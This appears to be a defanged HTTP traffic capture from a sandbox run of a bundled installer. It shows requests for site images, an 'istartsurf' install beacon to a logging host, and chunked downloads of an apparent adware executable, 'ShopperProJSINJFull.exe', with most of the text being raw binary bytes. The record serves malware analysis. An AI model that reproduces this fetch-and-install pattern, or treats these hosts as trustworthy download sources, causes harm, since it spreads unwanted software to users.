HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 77988

Last-Modified: Sat, 15 Jun 2013 05:34:29 GMT

Connection: keep-alive

ETag: "51bbfce5-130a4"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs...#...#.x.?v...OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/d/d/ddb3b88cf98eb0220c9e6c252e376749.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/png

Content-Length: 217582

Last-Modified: Thu, 13 Jun 2013 17:47:22 GMT

Connection: keep-alive

ETag: "51ba05aa-351ee"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...diTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:69AE8E4CEDBDE011AA2CB4DAE993D699" xmpMM:DocumentID="xmp.did:F348
2575C45D11E0B960ACE436CC6F2E" xmpMM:InstanceID="xmp.iid:F3482574C45D11
E0B960ACE436CC6F2E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> 
<xmpMM:DerivedFrom stRef:instanceID="xmp.iid:45AF5BD856C4E011A303D3
538E659D93" stRef:documentID="xmp.did:69AE8E4CEDBDE011AA2CB4DAE993D699
"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> &l
t;?xpacket end="r"?>..3...N IDATx.....%Uu-~.....4.-.2..5 ...(*Fh.D.
(&.......%.D3......5F.>.8..gP!......TPf.Af.z...n..3.S...N......[...
.{k8g.k..v......czL..1=...[G=...czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4....czL..1=..4
....czL..1=..4....czL..1=...x...o.v.Zs.m...............tm.W.==......I.
..{.......{...f.k<.M..a%.G...q..MUU.\..z.js........S..7...k........
...k......].........Lo......~8...7.....;....u{....u}..!.........[.....
o.-[.............1.{.......3.....{m1.E.czL.....~!.....c..5.9..{]..<<< skipped >>>

GET /thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523



[email protected].(..J.......t.c~...u..w..R) ..9..O..g.......}..H. .H......."q.
g....#.V....ws4`G....&k.#.8.<....k=.Dk..XT3....q......W.........'./
.....J`~;..9.[.*.........7....m..Y.......=~.  ....Ox..pY..8.g.......bv
....X..s.<.}..|... .5........3...~.A................\.;..j...O..g..
A.1....^.".?..Uq.5W..W......cAU..=7..c....o...b......Iu....pg...O....s
Z....<.WQ.-pY..i...>...k....*X.x3..G..../.m.<k...nW.O.w...58.
.wZ......W....P....1.j.s..$.B..X..W..3..~..cp..[...J.[.....q.....;`...
O...... .......s.c\..X(.=.g...1.Yca.E. /....,.d._..V....17.YcG...S....
..s_.ko~8N>..4>z|j$Fw~5.'ws...............l%S#k..D..12...o..d...
....Y.Rto|...)|K..V.L7..c{....}#....:h....i. `..j^.YGc..<Eq.......h
....|....$.....x........ }....4.iaR^..q...~..S.T.. .w\.S-.b.H.z..x|.1.
O...M.P..%(. ........,.....GM.......G.}.....s.....k.....o.....B..`..P.
GHX..P......^..n.....K...Y..z3....2...........@-....)'(j.. .....{...J.
.(.S..<i..).....%.0.H.....S......>..-...\ ....2....[....1..v...,
X...d........&V.........hm....D..p.....?..GP.?|.t.B...G.{(...l.?..~...
'P.....m. (xA..>y...e..,..L.P......;..C..,..A....TF.}d......>.P.
.C..qQ.~n...@@c#..<..K.cX.E....~...[n..o.<....F..........XQ3.L.-
....P7....#....k=.......n2.T.eXPg,|he\rS}..o~ ....0.R.W............6.m
[email protected]...').<... 
.X..`..*OO;... .. .$..l....T.......T. .T.p....Pj^.........8.....w...._
].....>...t.L.UO.9.W....f..._...$..r...!.......5......kU.......v..R
...............m&A..T.... ....O=....d...%.O#....?..u).\.?..#.K..g.<<< skipped >>>

GET /images/loading.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=n891rv0e2muin5d9k982g6l523; _ga=GA1.2.408066396.1429342593; _gat=1


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:33 GMT

Content-Type: image/gif

Content-Length: 8476

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-211c"

Expires: Sat, 18 Apr 2015 08:06:33 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
GIF89a . .............................................................
......................................................................
.................................................................!..NE
TSCAPE2.0.....!.......,.... . .@[email protected]:].d.....Xla[.....@$.,..
T....G!.c>..#..p..0.yzk................#). ..........k..rwv&... ./$
/..._.B..}}..O\..(.O....'.O....e..N.....'..0.,....n..` #.(.#..........
&&.....tu..QH..P......-R1.. ..\,..."......@ ".. 9 .8.W..$...`L!I....H.
...f#S~h..Z"==...XP.....Z`......*[email protected]`.NCP'..&,. @..Y.yR%!..J..
Q....!.....3.,...... ......pH..D.M$......Pqx=..l........r-gc..P.y.He.R
.Q.8/7i......!!yn.........^ ......#j^......^.....(.^*...P.Q......R(...
.%.Q.....D......C...i.B.....3...................3..."..#........".'...
.,@....{.T .P'[email protected]......#...0.....2....$..*%.tya.L
2H(8&..Bg..1.Ji.b...-`.`.....".HP.....=3.....Q.<....!.......,......
 [email protected]....... .T...H..c........PmB..v..FL..Ta8......6.RD%...!w$k
.|]1.D....!.*.....!.E.I...#c../.D....M................S.....r.S....%.S
.....D.....'.R......C....b.B..""..."."..............R7" .....P....x..z
8!..B...$../...#Jp.."#..%.|[email protected]. ...3.)b..@....:.IP.T&..
G......S.F..tVA.P.6q...l...Z.....!.......,...... [email protected].%[email protected]
1`......}..Rb.....Z.......O.a.oBY.D.ns.D%.....vXK|.mm..C..II..........
}.32.B ......%a....&.C.....'.D.&2.......D'.D...........*..#..._.......
.."".N.......R..............=..'[email protected]<.P.B. .8D1b ...P$.
...B."I*......%.|.!a.B.)R.l....:..%..Ya....Vd......D."U.T^.....M..<<< skipped >>>

GET /install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com


HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Sat, 18 Apr 2015 07:35:55 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 668

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=istartsurf&ptid=smt&ui
d=267123711_198339_B48A115F</td>..</tr>..<tr>..<t
d>Server:</td>..<td>us-pub00.v9.com</td>..</tr
>..<tr>..<td>Date:</td>..<td>2015/04/18 02:
35:55</td>..</tr>..</table>..<hr/>Powered by T
engine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Se
rver: Tengine/1.2.2..Date: Sat, 18 Apr 2015 07:35:55 GMT..Content-Type
: text/html; charset=utf-8..Content-Length: 668..Connection: keep-aliv
e..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html&
gt;..<head><title>404 Not Found</title></head>
..<body bgcolor="white">..<h1>404 Not Found</h1>..&l
t;p>The requested URL was not found on this server. Sorry for the i
nconvenience.<br/>..Please report this message and include the f
ollowing information to us.<br/>..Thank you very much!</p>
..<table>..<tr>..<td>URL:</td>..<td><<< skipped >>>

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=11474396-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 11474394

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 11474396-22948789/22948790
..h.>.F...R.X..g........4..dq./..i.....v2=.f.OQw.vs.T,i%%.g.h;tVm..
..8..J..<.8T. >r.v....0"2....9.R./.L&0...?....cNdC.....w(Q. ..79
W.......; Q."...V..........bO...==..3W.d.....w...... ..#.6T....":<u
...V...su..&...`<G,...J...$...^.I4|.p......p.|..~.4^>.Ge.R..G...
.)..64.h..Q.\..c.~a....R!.........W@(.za...3GDD.40.... p..g.9M{g.i.i..
'_B....F..(l_.....b..r.h...N4...Y!...R...&2..E.pI.S=..R.....:..7......
,...-)......ts.z.cg..Qf..V.3....c...`....\<. ..^..u^Y.........t.B..
.Q......1?.V......9#_..H....b...U.....?...12.....4..?ol..j.V.G....[...
....-...H...M...r..U.]....u..`_....{..?z*Qv.i.[....,6...&...bF...`21.R
..i..Yu...{.....T........2...i......\1.I.L$c..h.M.....a.......y..A.$@.
....I.gB.....l.."mk_.V.....u..-... .s.vL.l......=b..v9....#kv.;.......
.~...5.......Fe.......c....b....'..S.....k&cJ.......N..A..9C..j.P.fT..
..q.I)......._.N.#d.u.h<.&......=<..W..(.#...... 2.Q]..W ....6.A
a.'.y..$7W....ne..&c..;Ax..u..{..].y.Ga...5.=.......%2...rk.H.hw....'.
1.._.....e.1.R...n...B.7.~....w.....2.z.T.f.th.X..wM..].....J`B...^$J.
.0RU./......=~.P3.R...\.B.J............Y....p...>...J0.Y.|BC6.v....
...J/Pf>..K.....7a...a.V..x..t....\........T....>{0-.F.{xm...q..
..`..B).]....j..}T...W.....I.<.0.....zs7$...s......s ..e$.J..b6.i..
,..9go..x`.R ..z.f....2....I.w......V.D35....W.9.e.....-.VQ...I.....;a
...6.<[email protected]]....eA. s.v......fO..&..m..."...m.fA..*z.P.....xr.@2..
...>...ge.X.BxM./.......xn....%....;....G.W..h..[[email protected].....
-......D:"'.).pO.P... ..4.w..1........."........E..n..X!..y..jN.k.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4737507
i......A ..6...$Q$...........UX..%[email protected],..~...t.w.R...K*..S?4.\....
_p...G...$....).3...<X{..k......=.5...!......... .B#*h.[?H...X6.D.q
...U|E9.....P..J..D.Gd.d.NY...'.._..rX.l.....k.......u...v..8...i.k.m.
.`.~$T=....h...}..../....<_t..7......E.H.D..f~.]Jd.........9....H~.
..xR.T....c.n.N.7.8\|........,=....Cy}!A..T^............W.n....cN.....
..hj.......[...>...Y.Q..G&.Lfp..EL#.X.b.W....g./"=..$...Rh....[.9t.
8%..:.....^........U..m..Q..w..y.{.h.L..h\)N..:..:...8...O.....C.N.06.
[email protected].!h. .g.'.t...0.....|.ye.....]
K..ob.1.d.....h...O#[email protected]..:."....k..J'L.m&...3...>...i|E..A
.-$|O....2.._.../.>6......^X."..$..e..Ef......_n.......XT......-...
7...O:p........5.....=.J.Y.......~..U:D04S.B..Y.>st.w...!....[./...
...j....M. m}.......^[email protected]\.../..w...f....]..H......h..p.x.....l..
..E.....a.7...Y...r.d...\...$..e.X.....W.ka...BJl..tG.8...A.....;({K8.
...*.......K.. ..... ..Zw/1.h....O...O2.v$X.L..|C.......$...o.?Z..A/4.
.0I %..4.Ei.a.}...L.I.y...kj.:..eas..Fj......`.......e.!. [email protected]&l
t;TK_..z 9....\{lj=9L.[..8..........7.n.d....T.EOB.....[.../......T..&
gt;3.JY....._O....(.Iw..}....fWT.C dg7_Q.....b.Z4x...^l.4.^..d.|../."g
H.8.\..I.:. . .m..!....z..wV....%M...#)^X.g..........I..;.W.,........Y
1..,2....Q..c.v..E=nX.X.....".................xB.......W.:.Gl.....:&i.
...>....$......T.>d..L.1.....[J....ag.J.0.w.X.f.0.(H...<..b..
p.m.........M..E.\}).3W...._q.K.d|Z.:.Nk........Q..:..d.(W....D.......
....A......$...- ...}6N..J.0.......%...%.m...,.id|.....T.....k...;<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/4737507
;..KW.cg..d.x../.l......M.-.:...... .....d~..............Kg?.I.n..j...
.....E.4....N>...9.......}..~....2.z.vO.g|d..]....w:..hL....y/.%'|(
....xw3R..T.BX......[t.C.&U.'rS .Z..BQ..nD..{^....o..wU.....r.......kE
..'..C...t.D.......SdL.{....2.......X.<K..{7..UVf..v`....B.1lRk..5X
.l........>.n.I......<.s....}..3...lH..U..;.....N.........9.$O..
..a..:.^z.v2......JA;[email protected]@.....v[...77i.!B......-8.
......Z._.t...J.E}.....p......Z..^K.h.....~Wu.%f.#...na..{.Nf.f1Pk....
{R. ..>V...........R..e........xN6......5.J...~..^b4..ML..m(..eb...
...w.-....$..._...>..h.<.,G... .......P3...Q..'..?.)..U..3...._.
J ....o...=. K..............&..OWo..cp. .P8...{.u.....c..=.E.i.j.=.;..
s. ...;...e..{.X,t.>...h..... ..Au...].....Qq....2c.N...........M..
.D.[E>:..#....$D.w..gx..YC....3.....&Z.z\..Is.....CF......e$,/..j..
.L.;.J....c_.....y.....K }...':.E.e<.n!s..s(...|....%.s...O..,b....
q..5Ien.0........Kk..\[email protected]#.C.H)>..u.3J.L..
5...3_.%...r..8.1@t&.).>xF...#I../\.i./.[.E....*.%..e..... ....p.,Z
.f.9..rs....A..*i..5......O.6l...qr>...24y\.;...GJ..o.W....g.=.....
..w..pBx44...Gs.-t.N...g..~m;p.....K...6A.....e.E....T.4.n&"....Rz".G.
.lJ6.....<...";!....y.,&......Gi..a".?..A..;..U..g.F.N_..........a.
.....a....b..%..B.s.9.....`[email protected]>...^..2...a.FG4(...".....
oodU..7P.}..K.Z...~.H..N...h.....b.2..%.T4UB=....Gk.$...9j..8.B...../.
S.1.......4...ed....&q..*k7.v....U...........O...=Z.}8.{<u.d..U....
7`..*...(.|[email protected]>.%0.C^..?.....hO:......`F.......k..2.......<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/4737507
...6JK7.9;....L'j...s.`....dY..J....M1.3..1.8S.c&.'...Np.P_....xp...I/
..R&..p.R..R,1.F(...5h....x=.v..Hd..e......t..L._......zCp............
..O>u..|...f..i......} .......{.....C..._.y.~.}..o.:.33C.5h..k.|.p.
..t.*..)^...........Hn*eOX.,#..hO...a....W.#.....Q...yD.RGI....f......
...h318t..i!.N..N...O.,\.e.....%.l.}.......P...b3Z.)..k..6'C.... ..o..
..:..`_...........).>*^6.....8.  ..320.D....ac.E[.%.v...-s.~ ...D.1
......;..........a...`(...b.PL..kqC....m......sC.aC.F.^..^}Zql.&..o..i
..?...E.../..n....ft..).i...j..:.-...$-.{..{....1.kO.T.. ..)G.G0..E=t.
(..A.)q....1P...a...?.[...j...!.,wdb..[[email protected]:..%..VT... ..
.K..r..........V.p.....3...!.3.....'{.........b...0..-.......x...L.e\a
....x...;lJs.~..\.u[...]}.x..Z...L..0.:.~a....P............7.6.K..b ..
.t..[...K.......,.......m9x.R98.e.q...>...t.....V%.....h.[...F.....
.P...P;#....!U..V.?e.E.\..;.,2...S.....t.O.Ih...AZ.5...W<`.kz:..S..
 .J..M.. @...R.].Z."..l.ef..0........$V.....V..G.=...33;..Q.Q.Au.iM.Rx
.%B...P{....B.A.r.....Bl.NG.....c.!'...........t..`x..N.\...SI..h.-...
|Ya.....Sb'*.0.....]iG.lj... .A[..g....g.J^.......l..$.`0Z........w...
..@qq.&v-..:q..O....[.E_.....K.m^@.........o...)L..wg.c%\.b..X.9.R....
.Q..U...9.E'@VN~...e.[...^...N.'[email protected]
GT....."|3D?...17..v....6..`..%[email protected]@......`R.$..C....p.N.,"l......
.%G...0A.bB...}.x`uwO~.._g.....D...[AS......."x.T.0D.m.]|.X'..k.O.K9..
.".....$.aqDy......>.d...d_Z.7..x..`...L.......Zy.A.7..|q.B|..N.#..
..G...m...8.3_...........WM.._~.l..I....I..........Y............l.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



c..ic....J.a...N..5..9.I.s....&....\..r$k.p.#.y2....,..".....aZ..6...1
.....M1...Q.q..[............Ap.DQ...N]8.}.x.^......K8Z....r..'.w..c.}.
..8.P.2.8^h..[.W......(T....(....}...Eb......3....._......;@....8.....
5...kx.D.....f..."i;."!...id.p.#c.\..?*(.qPf..............j..^.8..... 
.@q ...H..Z.3..e3}.T. .=#B).r.5}...J...T.$c..;.. pK..P..........j.:Q..
...yl.e.B#0.......P|-U........m,[@..'......G<F.J....../.1..c.jk....
..9/<!.....|....U..RF......_.2;9)T......./.$...'=...S.J......g..|..
.kK.....F.q./.,...`.i."(^~.S.A.$:.n}9i..g.e...l4.EF....u..g..eQ... .=.
...d...NX"/...*....vc.ur;..W.b .dr....a.P 1.VP.J8Vc../.....2.!..2H; ..
...|.o.*IM.:~........r..-.........&q..d^.q0....UyYP..P...x9.[.N.C.%..`
.C......|..R.u%..M....R.g......:....lq.......AQ....jg..;.>...L_.e..
{[email protected].#ZjZ..n.tb.T..OZP v.^...%...o.....M.5.s.$..'(....$'.;......
.\.8...2.....{....A.%..( ....(... )P]..T...l8l88.....(=.)..X.\<..*.
.zi...7..d>....'...].`5..#.v.[t..5..Q..6......^{.'..xI......r.BB_L.
.Ev.B..IH...3........t.....oy<.3Y5.]1v..3.. .^........l.].-|...b.T.
....c.-M..}...>.7..&..&.Q..E8I..1..}..r2....U%t.X.O..,{.....:.5}...
y.aVB....T.0..~.....b....;Tz.!D5.....-.W3.../.2..Gu..D'gD.}./M.....-Yj
.....Ut!$k!..Wh..M............FnpU..lG}G...]...l..#../.L...OI......:C.
Q....O..az......&|..b..gc...... ...d4. & 'L.g... ..<.e<uEQ.`].K.
...U...P.G..N.a....._L...b.s.....l.:=.3..K4...3...L.pw........mr...O.X
...P.&J..6.`.h...........3.%.....E....L.......[......Q......h6.....).f
.......0..x,n7.[c.5$......B.."..i.<;;Ewu.).....yK-..u8.`......s<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/4737507
.:.(R.. .q..RI...L....%..CawW_.)\e..-.k'J.x%W...q*o..1.....p....".....
.`.xK..Q........'=..=.\.........D9qOn'\1 =t.]...Y...9Dc......v \-.....
.>wiqw.....g....6]fC.rne.P..sr...I=.{2.C.*......U~......>$......
.D........?......[.r..%..S0..vE_.q.Y.i.h}.$.t.r.. .xO..ge....7.......*
1N!...-..1..:$5.#uM.j.U.5E7.D..bp.&.z.2.%.BTGB&,T.'.%..i_..tl...t7..'.
|......5 ..7lx|k......S...o.K.x....K`.Z!.....%.E"...2.\. =....&].5.>
; R&....Z!e......./..0ZHx...0.... .W...-.ShD.....!.A....z..;..yu.Y..w.
.q.SH...$TI...hT.\9....GX..;./A.-h;.....]..L^!....=2....-.%{..... ....
.j.......;.............._..R-B.-..I.....c..<U..j.'.....M.I..*..=\.X
.ok4.E.......m.i.%U.L..".......&PB......C.o...`.vdo..f......_G._...q.V
e.\..*yL.-..:u.J^f!~.oG.*#....._%M......]..t....7RH<.P#u;>.2....
.{[email protected][email protected].......$D.'.}..f7..
....WMp.1.....J...}.J.Z...&..[<~B...J..j.....b.T'Y..88f.....1?{... 
>%'....}.....U`Q.....,.r&~..,yk.e<{.J..b8..:.Pn..B.Arf.[..;.m{.&
lt;..)].....l.[..m.Gm6...Th`m;...%.#.`mN......~..W..........;<.i;(.
.~..V%gE........6.,...........B.......&....6...5 ..|..B@.#]N...|.B$by.
...}Q....vt.=...2...".2v#?...pJ=../....,]....(\c.............9........
.A.4...5...$..(s..1R...{3..*.0..........b.3)H.....*......'.5.>..j..
_..Y...t.8.~...R.T.`&.I.f....[[email protected].<...
.MK..{..f.K...5}r....N.UC7.j.N......YQ.;.t0.-......^.......vs.....%[..
.....&P.q.6\|h.?..`.'....bY..q..{.2m....K......U..4..3............?.Rk
'u.3I..>....C........|Q.. !.....e..2.....*eJ....@......[.ekO=l.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



vJI@V.'..E.. ..A......'...W/<....;.o..`w..$..U......t.P...,...W.g..
t. 7.....'...D.-W...n.a. ......ou.]....6QZX/[email protected].
....C....i[..J@...#.$\..c...V;...u..f....'=`.=#.n.b..q... ...0.E...U#.
."Z.q.9W[....[.s.'..`...N.K..4Y.E...d(.....h.A.XF..t= .}NU....M... =g 
.... .W.....1.a.NQ.m.....L..*....-.....^....a.:D.8.D..Z.G.*S\...&..~';
....b...`.O..\...f.<w.U.........z?!.C]5(...._.`........ /B..I.k.P.4
......h..s.....|.........v6W.1..Yc..P{Z...x.W.....H.;/Y....zi5.!.i!=..
N..L.(...8...;...>...(...oX/2..eI..o.[..^.i......xuhGn1..-p...7./O-
.........(.g. EF...W]...ke....'..........Z..a<'$U.B.....".S......z.
$V....m..imN..y...]M......q.....e..Nb..`...cfn.i......'..`.r.S..B.L.&g
t;...hH.P.4..4`..k..g{..:.I.....K...\k...&..j.BO^"..c...x..#......*...
.M..kl\.6$KZ-C.....'*.:w......t.L.LH.~.......x{c.s).s..<.}...%.....
.0...r....N3r.dl...\.k......d.....T..K..C.n...m..`.c.........NV,.>.
.!,A..J.R....1.1>3/.-:..h^.......q..z..D..p|..D....lm..[G.N..Vo._,.
.L..'..H.P..T...O.....k4..2N.&..... ....BI.T.n..XIK.L7S.1B/..4.Js....w
{..o.Q"....OQ.....J.*..k.U....}.X.....4..d.'.UE............4...MP...w 
.E...LS.3...s9.....zJ8...(..(.*.'UH...R3@.<.<[email protected]..
.....x..T....M-'.j..@[email protected]......#.....-n..hTT.0n....o.....e...Om.J
....oj;............K..i..<y..U.....eh(P.^@XA..d..{@qd[Lzw..uG..Z..,
....".1.D.[.T....s.......&.d]pi..:I.........Aw.>...~*...,E.f.......
R.....).Z...=.l...W...G{............[........3..............4./...%...
..U........!..M...B.0....u..E..x......zh..!..[8..&.0..../).eJ.....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4500000-4737506

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



$Z...t.2h.x.e......3d.....$..v]..@j,.8....b.4...iS....C\.....l......bd
....A..]V'.....6#....-.|l ...0h....N.<.....MWO.....l..|i).... .....
 .7..5}..........M'r-..|U.....%.d.....z,a..,Sst:....2.......mqeD.,80..
